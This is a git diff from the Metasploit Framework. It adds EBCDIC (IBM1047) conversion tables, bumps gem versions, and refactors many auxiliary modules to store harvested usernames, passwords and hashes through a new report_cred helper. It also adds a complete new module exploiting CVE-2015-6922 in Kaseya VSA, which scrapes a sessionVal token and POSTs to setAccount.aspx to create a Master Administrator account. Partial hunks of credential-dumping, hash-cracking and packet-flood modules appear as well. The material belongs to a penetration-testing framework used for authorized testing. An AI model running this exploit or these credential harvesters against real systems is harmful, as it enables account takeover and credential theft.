"\x11","\x12","\x13","\x3c","\x3d","\x32","\x26","\x18","\x19",
|
||||
"\x3f","\x27","\x1c","\x1d","\x1e","\x1f","\x40","\x5a","\x7f",
|
||||
"\x7b","\x5b","\x6c","\x50","\x7d","\x4d","\x5d","\x5c","\x4e",
|
||||
"\x6b","\x60","\x4b","\x61","\xf0","\xf1","\xf2","\xf3","\xf4",
|
||||
"\xf5","\xf6","\xf7","\xf8","\xf9","\x7a","\x5e","\x4c","\x7e",
|
||||
"\x6e","\x6f","\x7c","\xc1","\xc2","\xc3","\xc4","\xc5","\xc6",
|
||||
"\xc7","\xc8","\xc9","\xd1","\xd2","\xd3","\xd4","\xd5","\xd6",
|
||||
"\xd7","\xd8","\xd9","\xe2","\xe3","\xe4","\xe5","\xe6","\xe7",
|
||||
"\xe8","\xe9","\xad","\xe0","\xbd","\x5f","\x6d","\x79","\x81",
|
||||
"\x82","\x83","\x84","\x85","\x86","\x87","\x88","\x89","\x91",
|
||||
"\x92","\x93","\x94","\x95","\x96","\x97","\x98","\x99","\xa2",
|
||||
"\xa3","\xa4","\xa5","\xa6","\xa7","\xa8","\xa9","\xc0","\x4f",
|
||||
"\xd0","\xa1","\x07","\x20","\x21","\x22","\x23","\x24","\x25",
|
||||
"\x06","\x17","\x28","\x29","\x2a","\x2b","\x2c","\x09","\x0a",
|
||||
"\x1b","\x30","\x31","\x1a","\x33","\x34","\x35","\x36","\x08",
|
||||
"\x38","\x39","\x3a","\x3b","\x04","\x14","\x3e","\xff","\x41",
|
||||
"\xaa","\x4a","\xb1","\x9f","\xb2","\x6a","\xb5","\xbb","\xb4",
|
||||
"\x9a","\x8a","\xb0","\xca","\xaf","\xbc","\x90","\x8f","\xea",
|
||||
"\xfa","\xbe","\xa0","\xb6","\xb3","\x9d","\xda","\x9b","\x8b",
|
||||
"\xb7","\xb8","\xb9","\xab","\x64","\x65","\x62","\x66","\x63",
|
||||
"\x67","\x9e","\x68","\x74","\x71","\x72","\x73","\x78","\x75",
|
||||
"\x76","\x77","\xac","\x69","\xed","\xee","\xeb","\xef","\xec",
|
||||
"\xbf","\x80","\xfd","\xfe","\xfb","\xfc","\xba","\xae","\x59",
|
||||
"\x44","\x45","\x42","\x46","\x43","\x47","\x9c","\x48","\x54",
|
||||
"\x51","\x52","\x53","\x58","\x55","\x56","\x57","\x8c","\x49",
|
||||
"\xcd","\xce","\xcb","\xcf","\xcc","\xe1","\x70","\xdd","\xde",
|
||||
"\xdb","\xdc","\x8d","\x8e","\xdf"
|
||||
]
|
||||
|
||||
#
|
||||
# This is the reverse of the above, converts EBCDIC -> ASCII
|
||||
# The bytes are indexed by IBM1047(EBCDIC) conversion number
|
||||
# e.g. Iconv_ISO8859_1[0xc1] = \x41 for letter "A"
|
||||
#
|
||||
# Note the characters CANNOT be assumed to be in any logical (e.g. sequential)
|
||||
# order. Nor are the tables reversible. Lookups must be done byte by byte
|
||||
#
|
||||
Iconv_ISO8859_1 = [
|
||||
"\x00","\x01","\x02","\x03","\x9c","\x09","\x86","\x7f",
|
||||
"\x97","\x8d","\x8e","\x0b","\x0c","\x0d","\x0e","\x0f","\x10",
|
||||
"\x11","\x12","\x13","\x9d","\x0a","\x08","\x87","\x18","\x19",
|
||||
"\x92","\x8f","\x1c","\x1d","\x1e","\x1f","\x80","\x81","\x82",
|
||||
"\x83","\x84","\x85","\x17","\x1b","\x88","\x89","\x8a","\x8b",
|
||||
"\x8c","\x05","\x06","\x07","\x90","\x91","\x16","\x93","\x94",
|
||||
"\x95","\x96","\x04","\x98","\x99","\x9a","\x9b","\x14","\x15",
|
||||
"\x9e","\x1a","\x20","\xa0","\xe2","\xe4","\xe0","\xe1","\xe3",
|
||||
"\xe5","\xe7","\xf1","\xa2","\x2e","\x3c","\x28","\x2b","\x7c",
|
||||
"\x26","\xe9","\xea","\xeb","\xe8","\xed","\xee","\xef","\xec",
|
||||
"\xdf","\x21","\x24","\x2a","\x29","\x3b","\x5e","\x2d","\x2f",
|
||||
"\xc2","\xc4","\xc0","\xc1","\xc3","\xc5","\xc7","\xd1","\xa6",
|
||||
"\x2c","\x25","\x5f","\x3e","\x3f","\xf8","\xc9","\xca","\xcb",
|
||||
"\xc8","\xcd","\xce","\xcf","\xcc","\x60","\x3a","\x23","\x40",
|
||||
"\x27","\x3d","\x22","\xd8","\x61","\x62","\x63","\x64","\x65",
|
||||
"\x66","\x67","\x68","\x69","\xab","\xbb","\xf0","\xfd","\xfe",
|
||||
"\xb1","\xb0","\x6a","\x6b","\x6c","\x6d","\x6e","\x6f","\x70",
|
||||
"\x71","\x72","\xaa","\xba","\xe6","\xb8","\xc6","\xa4","\xb5",
|
||||
"\x7e","\x73","\x74","\x75","\x76","\x77","\x78","\x79","\x7a",
|
||||
"\xa1","\xbf","\xd0","\x5b","\xde","\xae","\xac","\xa3","\xa5",
|
||||
"\xb7","\xa9","\xa7","\xb6","\xbc","\xbd","\xbe","\xdd","\xa8",
|
||||
"\xaf","\x5d","\xb4","\xd7","\x7b","\x41","\x42","\x43","\x44",
|
||||
"\x45","\x46","\x47","\x48","\x49","\xad","\xf4","\xf6","\xf2",
|
||||
"\xf3","\xf5","\x7d","\x4a","\x4b","\x4c","\x4d","\x4e","\x4f",
|
||||
"\x50","\x51","\x52","\xb9","\xfb","\xfc","\xf9","\xfa","\xff",
|
||||
"\x5c","\xf7","\x53","\x54","\x55","\x56","\x57","\x58","\x59",
|
||||
"\x5a","\xb2","\xd4","\xd6","\xd2","\xd3","\xd5","\x30","\x31",
|
||||
"\x32","\x33","\x34","\x35","\x36","\x37","\x38","\x39","\xb3",
|
||||
"\xdb","\xdc","\xd9","\xda","\x9f"
|
||||
]
|
||||
|
||||
# The Iconv translation table. The Iconv gem is deprecated in favor of
|
||||
# String#encode, yet there is no encoding for EBCDIC. See #4525
|
||||
Iconv_EBCDIC = [
|
||||
|
@ -396,7 +483,7 @@ module Text
|
|||
new_str.join
|
||||
end
|
||||
|
||||
# A native implementation of the EBCIDC to ASCII conversion table, since
|
||||
# A native implementation of the EBCDIC to ASCII conversion table, since
|
||||
# EBCDIC isn't available to String#encode as of Ruby 2.1
|
||||
#
|
||||
# @param str [String] an EBCDIC encoded string
|
||||
|
@ -414,6 +501,39 @@ module Text
|
|||
new_str.join
|
||||
end
|
||||
|
||||
#
|
||||
# The next two are the same as the above, except strictly for z/os
|
||||
# conversions
|
||||
# strictly for IBM1047 -> ISO8859-1
|
||||
# A native implementation of the IBM1047(EBCDIC) -> ISO8859-1(ASCII)
|
||||
# conversion table, since EBCDIC isn't available to String#encode as of Ruby 2.1
|
||||
# all 256 bytes are defined
|
||||
#
|
||||
def self.to_ibm1047(str)
|
||||
return str if str.nil?
|
||||
new_str = []
|
||||
str.each_byte do |x|
|
||||
new_str << Iconv_IBM1047[x.ord]
|
||||
end
|
||||
new_str.join
|
||||
end
|
||||
|
||||
#
|
||||
# The next two are the same as the above, except strictly for z/os
|
||||
# conversions
|
||||
# strictly for ISO8859-1 -> IBM1047
|
||||
# A native implementation of the ISO8859-1(ASCII) -> IBM1047(EBCDIC)
|
||||
# conversion table, since EBCDIC isn't available to String#encode as of Ruby 2.1
|
||||
#
|
||||
def self.from_ibm1047(str)
|
||||
return str if str.nil?
|
||||
new_str = []
|
||||
str.each_byte do |x|
|
||||
new_str << Iconv_ISO8859_1[x.ord]
|
||||
end
|
||||
new_str.join
|
||||
end
|
||||
|
||||
#
|
||||
# Returns the words in +str+ as an Array.
|
||||
#
|
||||
|
|
|
@ -31,7 +31,7 @@ Gem::Specification.new do |spec|
|
|||
# Metasploit::Credential database models
|
||||
spec.add_runtime_dependency 'metasploit-credential', '1.0.1'
|
||||
# Database models shared between framework and Pro.
|
||||
spec.add_runtime_dependency 'metasploit_data_models', '1.2.5'
|
||||
spec.add_runtime_dependency 'metasploit_data_models', '1.2.7'
|
||||
# depend on metasploit-framewrok as the optional gems are useless with the actual code
|
||||
spec.add_runtime_dependency 'metasploit-framework', "= #{spec.version}"
|
||||
# Needed for module caching in Mdm::ModuleDetails
|
||||
|
|
|
@ -73,7 +73,7 @@ Gem::Specification.new do |spec|
|
|||
# Run initializers for metasploit-concern, metasploit-credential, metasploit_data_models Rails::Engines
|
||||
spec.add_runtime_dependency 'railties'
|
||||
# required for OS fingerprinting
|
||||
spec.add_runtime_dependency 'recog', '2.0.6'
|
||||
spec.add_runtime_dependency 'recog', '2.0.14'
|
||||
|
||||
# rb-readline doesn't work with Ruby Installer due to error with Fiddle:
|
||||
# NoMethodError undefined method `dlopen' for Fiddle:Module
|
||||
|
|
|
@ -0,0 +1,107 @@
|
|||
##
|
||||
# This module requires Metasploit: http://metasploit.com/download
|
||||
# Current source: https://github.com/rapid7/metasploit-framework
|
||||
##
|
||||
|
||||
require 'msf/core'
|
||||
|
||||
class Metasploit3 < Msf::Auxiliary
|
||||
|
||||
include Msf::Exploit::Remote::HttpClient
|
||||
include Msf::Auxiliary::Report
|
||||
|
||||
def initialize(info = {})
|
||||
super(update_info(info,
|
||||
'Name' => 'Kaseya VSA Master Administrator Account Creation',
|
||||
'Description' => %q{
|
||||
This module abuses the setAccount page on Kaseya VSA between 7 and 9.1 to create a new
|
||||
Master Administrator account. Normally this page is only accessible via the localhost
|
||||
interface, but the application does nothing to prevent this apart from attempting to
|
||||
force a redirect. This module has been tested with Kaseya VSA v7.0.0.17, v8.0.0.10 and
|
||||
v9.0.0.3.
|
||||
},
|
||||
'Author' =>
|
||||
[
|
||||
'Pedro Ribeiro <pedrib[at]gmail.com>' # Vulnerability discovery and MSF module
|
||||
],
|
||||
'License' => MSF_LICENSE,
|
||||
'References' =>
|
||||
[
|
||||
['CVE', '2015-6922'],
|
||||
['ZDI', '15-448'],
|
||||
['URL', 'https://raw.githubusercontent.com/pedrib/PoC/master/advisories/kaseya-vsa-vuln-2.txt'],
|
||||
['URL', 'http://seclists.org/bugtraq/2015/Sep/132']
|
||||
],
|
||||
'DisclosureDate' => 'Sep 23 2015'))
|
||||
|
||||
register_options(
|
||||
[
|
||||
OptString.new('TARGETURI', [ true, 'The Kaseya VSA URI', '/']),
|
||||
OptString.new('KASEYA_USER', [true, 'The username for the new admin account', 'msf']),
|
||||
OptString.new('KASEYA_PASS', [true, 'The password for the new admin account', 'password']),
|
||||
OptString.new('EMAIL', [true, 'The email for the new admin account', 'msf@email.loc'])
|
||||
], self.class)
|
||||
end
|
||||
|
||||
|
||||
def run
|
||||
res = send_request_cgi({
|
||||
'uri' => normalize_uri(target_uri.path, 'LocalAuth', 'setAccount.aspx'),
|
||||
'method' =>'GET',
|
||||
})
|
||||
|
||||
if res && res.body && res.body.to_s =~ /ID="sessionVal" name="sessionVal" value='([0-9]*)'/
|
||||
session_val = $1
|
||||
else
|
||||
print_error("#{peer} - Failed to get sessionVal")
|
||||
return
|
||||
end
|
||||
|
||||
print_status("#{peer} - Got sessionVal #{session_val}, creating Master Administrator account")
|
||||
|
||||
res = send_request_cgi({
|
||||
'uri' => normalize_uri(target_uri.path, 'LocalAuth', 'setAccount.aspx'),
|
||||
'method' =>'POST',
|
||||
'vars_post' => {
|
||||
'sessionVal' => session_val,
|
||||
'adminName' => datastore['KASEYA_USER'],
|
||||
'NewPassword' => datastore['KASEYA_PASS'],
|
||||
'confirm' => datastore['KASEYA_PASS'],
|
||||
'adminEmail' => datastore['EMAIL'],
|
||||
'setAccount' => 'Create'
|
||||
}
|
||||
})
|
||||
|
||||
unless res && res.code == 302 && res.body && res.body.to_s.include?('/vsapres/web20/core/login.asp')
|
||||
print_error("#{peer} - Master Administrator account creation failed")
|
||||
return
|
||||
end
|
||||
|
||||
print_good("#{peer} - Master Administrator account with credentials #{datastore['KASEYA_USER']}:#{datastore['KASEYA_PASS']} created")
|
||||
service_data = {
|
||||
address: rhost,
|
||||
port: rport,
|
||||
service_name: (ssl ? 'https' : 'http'),
|
||||
protocol: 'tcp',
|
||||
workspace_id: myworkspace_id
|
||||
}
|
||||
|
||||
credential_data = {
|
||||
origin_type: :service,
|
||||
module_fullname: self.fullname,
|
||||
private_type: :password,
|
||||
private_data: datastore['KASEYA_PASS'],
|
||||
username: datastore['KASEYA_USER']
|
||||
}
|
||||
|
||||
credential_data.merge!(service_data)
|
||||
credential_core = create_credential(credential_data)
|
||||
login_data = {
|
||||
core: credential_core,
|
||||
access_level: 'Master Administrator',
|
||||
status: Metasploit::Model::Login::Status::UNTRIED
|
||||
}
|
||||
login_data.merge!(service_data)
|
||||
create_credential_login(login_data)
|
||||
end
|
||||
end
|
|
@ -27,6 +27,33 @@ class Metasploit3 < Msf::Auxiliary
|
|||
|
||||
end
|
||||
|
||||
def report_cred(opts)
|
||||
service_data = {
|
||||
address: opts[:ip],
|
||||
port: opts[:port],
|
||||
service_name: opts[:service_name],
|
||||
protocol: 'tcp',
|
||||
workspace_id: myworkspace_id
|
||||
}
|
||||
|
||||
credential_data = {
|
||||
origin_type: :service,
|
||||
module_fullname: fullname,
|
||||
username: opts[:user],
|
||||
private_data: opts[:password],
|
||||
private_type: :nonreplayable_hash,
|
||||
jtr_format: 'mysql,mysql-sha1'
|
||||
}.merge(service_data)
|
||||
|
||||
login_data = {
|
||||
core: create_credential(credential_data),
|
||||
status: Metasploit::Model::Login::Status::UNTRIED,
|
||||
proof: opts[:proof]
|
||||
}.merge(service_data)
|
||||
|
||||
create_credential_login(login_data)
|
||||
end
|
||||
|
||||
def run
|
||||
return if not mysql_login_datastore
|
||||
print_status("Running MySQL Enumerator...")
|
||||
|
@ -86,15 +113,14 @@ class Metasploit3 < Msf::Auxiliary
|
|||
print_status("\tList of Accounts with Password Hashes:")
|
||||
res.each do |row|
|
||||
print_status("\t\tUser: #{row[0]} Host: #{row[1]} Password Hash: #{row[2]}")
|
||||
report_auth_info({
|
||||
:host => rhost,
|
||||
:port => rport,
|
||||
:user => row[0],
|
||||
:pass => row[2],
|
||||
:type => "mysql_hash",
|
||||
:sname => "mysql",
|
||||
:active => true
|
||||
})
|
||||
report_cred(
|
||||
ip: rhost,
|
||||
port: rport,
|
||||
user: row[0],
|
||||
password: row[2],
|
||||
service_name: 'mysql',
|
||||
proof: row.inspect
|
||||
)
|
||||
end
|
||||
end
|
||||
# Only list accounts that can log in with SSL if SSL is enabled
|
||||
|
|
|
@ -175,15 +175,14 @@ class Metasploit3 < Msf::Auxiliary
|
|||
@plain_passwords[i] << " (ISO-8859-1 hex chars)"
|
||||
end
|
||||
|
||||
report_auth_info({
|
||||
:host => rhost,
|
||||
:port => rport,
|
||||
:user => @users[i][0],
|
||||
:pass => @plain_passwords[i],
|
||||
:type => "password",
|
||||
:sname => (ssl ? "https" : "http"),
|
||||
:proof => "Leaked encrypted password from #{@users[i][3]}: #{@users[i][1]}:#{@users[i][2]}"
|
||||
})
|
||||
report_cred(
|
||||
ip: rhost,
|
||||
port: rport,
|
||||
user: @users[i][0],
|
||||
password: @plain_passwords[i],
|
||||
service_name: (ssl ? "https" : "http"),
|
||||
proof: "Leaked encrypted password from #{@users[i][3]}: #{@users[i][1]}:#{@users[i][2]}"
|
||||
)
|
||||
|
||||
users_table << [@users[i][0], @users[i][1], @users[i][2], @plain_passwords[i], user_type(@users[i][3])]
|
||||
end
|
||||
|
@ -191,6 +190,32 @@ class Metasploit3 < Msf::Auxiliary
|
|||
print_line(users_table.to_s)
|
||||
end
|
||||
|
||||
def report_cred(opts)
|
||||
service_data = {
|
||||
address: opts[:ip],
|
||||
port: opts[:port],
|
||||
service_name: opts[:service_name],
|
||||
protocol: 'tcp',
|
||||
workspace_id: myworkspace_id
|
||||
}
|
||||
|
||||
credential_data = {
|
||||
origin_type: :service,
|
||||
module_fullname: fullname,
|
||||
username: opts[:user],
|
||||
private_data: opts[:password],
|
||||
private_type: :password
|
||||
}.merge(service_data)
|
||||
|
||||
login_data = {
|
||||
core: create_credential(credential_data),
|
||||
status: Metasploit::Model::Login::Status::UNTRIED,
|
||||
proof: opts[:proof]
|
||||
}.merge(service_data)
|
||||
|
||||
create_credential_login(login_data)
|
||||
end
|
||||
|
||||
def user_type(database)
|
||||
user_type = database
|
||||
|
||||
|
|
|
@ -90,18 +90,45 @@ class Metasploit3 < Msf::Auxiliary
|
|||
end
|
||||
end
|
||||
|
||||
def report_cred(opts)
|
||||
service_data = {
|
||||
address: opts[:ip],
|
||||
port: opts[:port],
|
||||
service_name: opts[:service_name],
|
||||
protocol: 'tcp',
|
||||
workspace_id: myworkspace_id
|
||||
}
|
||||
|
||||
credential_data = {
|
||||
origin_type: :service,
|
||||
module_fullname: fullname,
|
||||
username: opts[:user],
|
||||
private_data: opts[:password],
|
||||
private_type: :password
|
||||
}.merge(service_data)
|
||||
|
||||
login_data = {
|
||||
last_attempted_at: Time.now,
|
||||
core: create_credential(credential_data),
|
||||
status: Metasploit::Model::Login::Status::SUCCESSFUL,
|
||||
proof: opts[:proof]
|
||||
}.merge(service_data)
|
||||
|
||||
create_credential_login(login_data)
|
||||
end
|
||||
|
||||
def setup_ftp_connection
|
||||
vprint_status "#{ip}:#{rport} - FTP - Connecting"
|
||||
if connect_login()
|
||||
conn = connect_login
|
||||
if conn
|
||||
print_status("#{ip}:#{rport} - FTP - Login succeeded")
|
||||
report_auth_info(
|
||||
:host => ip,
|
||||
:port => rport,
|
||||
:proto => 'tcp',
|
||||
:user => user,
|
||||
:pass => pass,
|
||||
:ptype => 'password_ro',
|
||||
:active => true
|
||||
report_cred(
|
||||
ip: ip,
|
||||
port: rport,
|
||||
user: user,
|
||||
password: pass,
|
||||
service_name: 'modicon',
|
||||
proof: "connect_login: #{conn}"
|
||||
)
|
||||
return true
|
||||
else
|
||||
|
|
|
@ -37,6 +37,33 @@ class Metasploit3 < Msf::Auxiliary
|
|||
crack("oracle11g")
|
||||
end
|
||||
|
||||
def report_cred(opts)
|
||||
service_data = {
|
||||
address: opts[:ip],
|
||||
port: opts[:port],
|
||||
service_name: opts[:service_name],
|
||||
protocol: 'tcp',
|
||||
workspace_id: myworkspace_id
|
||||
}
|
||||
|
||||
credential_data = {
|
||||
origin_type: :service,
|
||||
module_fullname: fullname,
|
||||
username: opts[:user],
|
||||
private_data: opts[:password],
|
||||
private_type: :nonreplayable_hash,
|
||||
jtr_format: opts[:format]
|
||||
}.merge(service_data)
|
||||
|
||||
login_data = {
|
||||
core: create_credential(credential_data),
|
||||
status: Metasploit::Model::Login::Status::UNTRIED,
|
||||
proof: opts[:proof]
|
||||
}.merge(service_data)
|
||||
|
||||
create_credential_login(login_data)
|
||||
end
|
||||
|
||||
|
||||
def crack(format)
|
||||
|
||||
|
@ -71,12 +98,14 @@ class Metasploit3 < Msf::Auxiliary
|
|||
print_status("#{cracked[:cracked]} hashes were cracked!")
|
||||
cracked[:users].each_pair do |k,v|
|
||||
print_good("Host: #{v[1]} Port: #{v[2]} User: #{k} Pass: #{v[0]}")
|
||||
report_auth_info(
|
||||
:host => v[1],
|
||||
:port => v[2],
|
||||
:sname => 'oracle',
|
||||
:user => k,
|
||||
:pass => v[0]
|
||||
report_cred(
|
||||
ip: v[1],
|
||||
port: v[2],
|
||||
service_name: 'oracle',
|
||||
user: k,
|
||||
pass: v[0],
|
||||
format: format,
|
||||
proof: cracked.inspect
|
||||
)
|
||||
end
|
||||
end
|
||||
|
|
|
@ -89,7 +89,7 @@ class Metasploit3 < Msf::Auxiliary
|
|||
|
||||
ackbpf = "tcp [8:4] == 0x#{(p.tcp_seq + 1).to_s(16)}"
|
||||
pcap.setfilter("tcp and tcp[13] == 18 and not host #{ip} and src port #{p.tcp_dst} and dst port #{p.tcp_src} and #{ackbpf}")
|
||||
capture_sendto(p, ip)
|
||||
break unless capture_sendto(p, ip)
|
||||
reply = probe_reply(pcap, to)
|
||||
next if reply.nil?
|
||||
|
||||
|
|
|
@ -68,16 +68,41 @@ class Metasploit3 < Msf::Auxiliary
|
|||
datastore['TIMEOUT']
|
||||
end
|
||||
|
||||
def report_cred(opts)
|
||||
service_data = {
|
||||
address: opts[:ip],
|
||||
port: opts[:port],
|
||||
service_name: opts[:service_name],
|
||||
protocol: 'tcp',
|
||||
workspace_id: myworkspace_id
|
||||
}
|
||||
|
||||
credential_data = {
|
||||
origin_type: :service,
|
||||
module_fullname: fullname,
|
||||
username: opts[:user]
|
||||
}.merge(service_data)
|
||||
|
||||
login_data = {
|
||||
last_attempted_at: DateTime.now,
|
||||
core: create_credential(credential_data),
|
||||
status: Metasploit::Model::Login::Status::SUCCESSFUL,
|
||||
proof: opts[:proof]
|
||||
}.merge(service_data)
|
||||
|
||||
create_credential_login(login_data)
|
||||
end
|
||||
|
||||
def user_exists(user)
|
||||
exists = wordpress_user_exists?(user)
|
||||
if exists
|
||||
print_good("#{peer} - Username \"#{username}\" is valid")
|
||||
report_auth_info(
|
||||
:host => rhost,
|
||||
:sname => (ssl ? 'https' : 'http'),
|
||||
:user => user,
|
||||
:port => rport,
|
||||
:proof => "WEBAPP=\"Wordpress\", VHOST=#{vhost}"
|
||||
report_cred(
|
||||
ip: rhost,
|
||||
port: rport,
|
||||
user: user,
|
||||
service_name: (ssl ? 'https' : 'http'),
|
||||
proof: "WEBAPP=\"Wordpress\", VHOST=#{vhost}"
|
||||
)
|
||||
|
||||
return true
|
||||
|
|
|
@ -45,10 +45,7 @@ class Metasploit3 < Msf::Auxiliary
|
|||
p.udp_dport = datastore['RPORT'].to_i
|
||||
p.payload = Rex::Text.rand_text(rand(0x20)) # UDP needs at least one data byte, may as well send a few.
|
||||
p.recalc
|
||||
capture_sendto(p, rhost)
|
||||
|
||||
capture_sendto(p, rhost) and print_status("Avahi should be down now")
|
||||
close_pcap
|
||||
|
||||
print_status("Avahi should be down now")
|
||||
end
|
||||
end
|
||||
|
|
|
@ -60,7 +60,7 @@ class Metasploit3 < Msf::Auxiliary
|
|||
p.tcp_sport = sport
|
||||
p.tcp_seq = rand(0x100000000)
|
||||
p.recalc
|
||||
capture_sendto(p,rhost)
|
||||
break unless capture_sendto(p,rhost)
|
||||
sent += 1
|
||||
end
|
||||
|
||||
|
|
|
@ -103,6 +103,33 @@ class Metasploit3 < Msf::Auxiliary
|
|||
}
|
||||
end
|
||||
|
||||
def report_cred(opts)
|
||||
service_data = {
|
||||
address: opts[:ip],
|
||||
port: opts[:port],
|
||||
service_name: opts[:service_name],
|
||||
protocol: 'tcp',
|
||||
workspace_id: myworkspace_id
|
||||
}
|
||||
|
||||
credential_data = {
|
||||
origin_type: :service,
|
||||
module_fullname: fullname,
|
||||
username: opts[:user],
|
||||
private_data: opts[:password],
|
||||
private_type: :password
|
||||
}.merge(service_data)
|
||||
|
||||
login_data = {
|
||||
core: create_credential(credential_data),
|
||||
status: Metasploit::Model::Login::Status::UNTRIED,
|
||||
proof: opts[:proof]
|
||||
}.merge(service_data)
|
||||
|
||||
create_credential_login(login_data)
|
||||
end
|
||||
|
||||
|
||||
def run
|
||||
|
||||
print_status("#{rhost}:#{rport} - Fingerprinting...")
|
||||
|
@ -183,13 +210,13 @@ class Metasploit3 < Msf::Auxiliary
|
|||
print_status("#{rhost}:#{rport} - Recovering Hashes...")
|
||||
json_info["result"]["resultSet"].each { |result|
|
||||
print_good("#{rhost}:#{rport} - Found cred: #{result["username"]}:#{result["password"]}")
|
||||
report_auth_info(
|
||||
:host => rhost,
|
||||
:port => rport,
|
||||
:sname => "Apache Rave",
|
||||
:user => result["username"],
|
||||
:pass => result["password"],
|
||||
:active => result["enabled"]
|
||||
report_cred(
|
||||
ip: rhost,
|
||||
port: rport,
|
||||
service_name: 'Apache Rave',
|
||||
user: result["username"],
|
||||
password: result["password"],
|
||||
proof: user_data
|
||||
)
|
||||
}
|
||||
|
||||
|
|
|
@ -182,6 +182,32 @@ class Metasploit3 < Msf::Auxiliary
|
|||
return res
|
||||
end
|
||||
|
||||
def report_cred(opts)
|
||||
service_data = {
|
||||
address: opts[:ip],
|
||||
port: opts[:port],
|
||||
service_name: opts[:service_name],
|
||||
protocol: 'tcp',
|
||||
workspace_id: myworkspace_id
|
||||
}
|
||||
|
||||
credential_data = {
|
||||
origin_type: :service,
|
||||
module_fullname: fullname,
|
||||
username: opts[:user],
|
||||
private_data: opts[:password],
|
||||
private_type: :password
|
||||
}.merge(service_data)
|
||||
|
||||
login_data = {
|
||||
core: create_credential(credential_data),
|
||||
status: Metasploit::Model::Login::Status::UNTRIED,
|
||||
proof: opts[:proof]
|
||||
}.merge(service_data)
|
||||
|
||||
create_credential_login(login_data)
|
||||
end
|
||||
|
||||
# Parse the usernames, passwords, and security levels from the config
|
||||
# It's a little ugly (lots of hard-coded offsets).
|
||||
# The userdata starts at an offset dictated by the B014USERS config
|
||||
|
@ -213,13 +239,13 @@ class Metasploit3 < Msf::Auxiliary
|
|||
break
|
||||
end
|
||||
logins << [accounttype, accountname, accountpass]
|
||||
report_auth_info(
|
||||
:host => datastore['RHOST'],
|
||||
:port => 23,
|
||||
:sname => "telnet",
|
||||
:user => accountname,
|
||||
:pass => accountpass,
|
||||
:active => true
|
||||
report_cred(
|
||||
ip: datastore['RHOST'],
|
||||
port: 23,
|
||||
service_name: 'telnet',
|
||||
user: accountname,
|
||||
password: accountpass,
|
||||
proof: accounttype
|
||||
)
|
||||
end
|
||||
if not logins.rows.empty?
|
||||
|
|
|
@ -151,6 +151,32 @@ class Metasploit3 < Msf::Auxiliary
|
|||
get_session_tokens ? Exploit::CheckCode::Vulnerable : Exploit::CheckCode::Safe
|
||||
end
|
||||
|
||||
def report_cred(opts)
|
||||
service_data = {
|
||||
address: opts[:ip],
|
||||
port: opts[:port],
|
||||
service_name: opts[:service_name],
|
||||
protocol: 'tcp',
|
||||
workspace_id: myworkspace_id
|
||||
}
|
||||
|
||||
credential_data = {
|
||||
origin_type: :service,
|
||||
module_fullname: fullname,
|
||||
username: opts[:user],
|
||||
private_data: opts[:password],
|
||||
private_type: :password
|
||||
}.merge(service_data)
|
||||
|
||||
login_data = {
|
||||
core: create_credential(credential_data),
|
||||
status: Metasploit::Model::Login::Status::UNTRIED,
|
||||
proof: opts[:proof]
|
||||
}.merge(service_data)
|
||||
|
||||
create_credential_login(login_data)
|
||||
end
|
||||
|
||||
def run
|
||||
return unless tokens = get_session_tokens
|
||||
credentials = []
|
||||
|
@ -172,14 +198,14 @@ class Metasploit3 < Msf::Auxiliary
|
|||
'Columns' => ['Username', 'Password', 'Admin', 'E-mail']
|
||||
)
|
||||
credentials.each do |record|
|
||||
report_auth_info({
|
||||
:host => rhost,
|
||||
:port => rport,
|
||||
:sname => (ssl ? 'https' : 'http'),
|
||||
:user => record[0],
|
||||
:pass => record[1],
|
||||
:source_type => 'vuln'
|
||||
})
|
||||
report_cred(
|
||||
ip: rhost,
|
||||
port: rport,
|
||||
service_name: (ssl ? 'https' : 'http'),
|
||||
user: record[0],
|
||||
password: record[1],
|
||||
proof: @cookie
|
||||
)
|
||||
cred_table << [record[0], record[1], record[2], record[3]]
|
||||
end
|
||||
print_line
|
||||
|
|
|
@ -88,6 +88,34 @@ class Metasploit3 < Msf::Auxiliary
|
|||
return results
|
||||
end
|
||||
|
||||
|
||||
def report_cred(opts)
|
||||
service_data = {
|
||||
address: opts[:ip],
|
||||
port: opts[:port],
|
||||
service_name: opts[:service_name],
|
||||
protocol: 'tcp',
|
||||
workspace_id: myworkspace_id
|
||||
}
|
||||
|
||||
credential_data = {
|
||||
origin_type: :service,
|
||||
module_fullname: fullname,
|
||||
username: opts[:user],
|
||||
private_data: opts[:password],
|
||||
private_type: :password
|
||||
}.merge(service_data)
|
||||
|
||||
login_data = {
|
||||
core: create_credential(credential_data),
|
||||
status: Metasploit::Model::Login::Status::UNTRIED,
|
||||
proof: opts[:proof]
|
||||
}.merge(service_data)
|
||||
|
||||
create_credential_login(login_data)
|
||||
end
|
||||
|
||||
|
||||
def run
|
||||
|
||||
print_status("#{peer} - Get Domain Info")
|
||||
|
@ -121,14 +149,14 @@ class Metasploit3 < Msf::Auxiliary
|
|||
)
|
||||
|
||||
credentials.each do |record|
|
||||
report_auth_info({
|
||||
:host => record[0],
|
||||
:port => record[1],
|
||||
:sname => record[2].downcase,
|
||||
:user => record[3],
|
||||
:pass => record[4],
|
||||
:source_type => "vuln"
|
||||
})
|
||||
report_cred(
|
||||
ip: record[0],
|
||||
port: record[1],
|
||||
service_name: record[2].downcase,
|
||||
user: record[3],
|
||||
password: record[4],
|
||||
proof: domain_info.inspect
|
||||
)
|
||||
cred_table << [record[0], record[3], record[4]]
|
||||
end
|
||||
|
||||
|
|
|
@ -145,6 +145,33 @@ class Metasploit3 < Msf::Auxiliary
|
|||
Msf::Exploit::CheckCode::Safe
|
||||
end
|
||||
|
||||
def report_cred(opts)
|
||||
service_data = {
|
||||
address: opts[:ip],
|
||||
port: opts[:port],
|
||||
service_name: opts[:service_name],
|
||||
protocol: 'tcp',
|
||||
workspace_id: myworkspace_id
|
||||
}
|
||||
|
||||
credential_data = {
|
||||
origin_type: :service,
|
||||
module_fullname: fullname,
|
||||
username: opts[:user],
|
||||
private_data: opts[:password],
|
||||
private_type: :nonreplayable_hash,
|
||||
jtr_format: 'md5'
|
||||
}.merge(service_data)
|
||||
|
||||
login_data = {
|
||||
core: create_credential(credential_data),
|
||||
status: Metasploit::Model::Login::Status::UNTRIED,
|
||||
proof: opts[:proof]
|
||||
}.merge(service_data)
|
||||
|
||||
create_credential_login(login_data)
|
||||
end
|
||||
|
||||
def run
|
||||
print_status("#{peer} - Checking for a valid node id...")
|
||||
node_id = get_node
|
||||
|
@ -171,15 +198,14 @@ class Metasploit3 < Msf::Auxiliary
|
|||
for i in 0..count_users
|
||||
user = get_user_data(node_id, i)
|
||||
unless user.join.empty?
|
||||
report_auth_info({
|
||||
:host => rhost,
|
||||
:port => rport,
|
||||
:user => user[0],
|
